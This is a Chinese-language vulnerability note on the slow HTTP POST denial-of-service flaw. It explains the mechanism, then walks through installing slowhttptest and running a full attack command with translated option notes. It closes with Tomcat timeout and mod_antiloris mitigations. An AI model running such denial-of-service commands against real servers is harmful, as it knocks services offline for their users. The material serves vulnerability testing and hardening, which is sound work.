一、漏洞描述
利用HTTP POST請求時,指定一個非常大的content-length,然后以很低的速度發包,比如10-100s發一個字節並保持這個連接不斷開。當客戶端連接數達到一定程度,占用服務器的所有可用連接,從而導致DOS。
二、漏洞利用
滲透工具:slowhttptest
下載地址:https://github.com/shekyan/slowhttptest.git
安裝過程:
切換到slowhttptest解壓目錄,執行以下操作
./configure
make
make install
注意事項:安裝此工具要先安裝開發工具包
可以參考https://www.cnblogs.com/573583868wuy/p/6799311.html
安裝完成后使用以下命令開始攻擊
slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://mysite -x 10 -p 3
當再次訪問網站時,看到加載緩慢或者一直在加載就說明攻擊成功。
工具用法:
-a開始值范圍說明符用於范圍頭測試
-b 將字節限制的范圍說明符用於范圍頭測試
- c的連接數限制為65539
- d proxy host:port用於指導所有流量通過web代理
- e proxy host:port端口用於指導只有探針交通通過web代理
- h,B,R或x指定減緩在頭部分或在消息體,- R 允許范圍檢驗,使慢讀測試- x
- g生成統計數據在CSV和HTML格式,模式是緩慢的xxx。csv / html,其中xxx是時間和日期
- i seconds秒間隔跟蹤數據在幾秒鍾內,每個連接
- k管道因子次數重復請求在同一連接慢讀測試如果服務器支持HTTP管道內襯。
- l在幾秒鍾內,秒測試時間
- n秒間隔從接收緩沖區讀取操作
- o文件定義輸出文件路徑和/或名稱,如果指定有效- g
- p秒超時等待HTTP響應在探頭連接后,服務器被認為是不可訪問的
- r seconds連接速度
- s字節值的內容長度標題詳細說明,如果指定- b
- t verb自定義
- u URL目標URL,相同的格式鍵入瀏覽器,e。g https://host[:port]/
- v level冗長等級0 - 4的日志
- w字節范圍廣告的窗口大小會選擇從
- x字節最大長度的跟蹤數據結束
- y字節范圍廣告的窗口大小會選擇從
- z字節從接收緩沖區讀取字節與單一的read()操作
三、解決方法
方法一:對web服務器的http頭部傳輸的最大許可時間進行限制,修改成最大許可時間為20 秒
以tomcat為例,打開server.xml找到
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
將其中的connectionTimeout="20000"改為connectionTimeout="8000",其單位是毫秒。
方法二:由於Apache易受此攻擊,因此我們應該采取一些預防措施。我們需要安裝 名為mod_antilorisApache模塊。該模塊根據每個IP限制處於讀狀態的線程數,並保護 Apache不受Slowloris攻擊。安裝指令如下:
安裝httpd-devel
yum install -y httpd-devel
安裝編譯模塊gcc
yum install gcc -y
切換到一下目錄
cd /usr/local/src/
從網上下載mod_antilorisApache模塊
wget sourceforge.net/projects/mod-antiloris/files/mod_antiloris-0.4.tar.bz2
解壓
tar -xf mod_antiloris-0.4.tar.bz2
調用apxs編譯安裝mod_antiloris.c文件
apxs -a -i -c mod_antiloris.c
重啟httpd服務
service httpd restart
檢驗antiloris進程是否啟用
httpd -M |grep antiloris
完成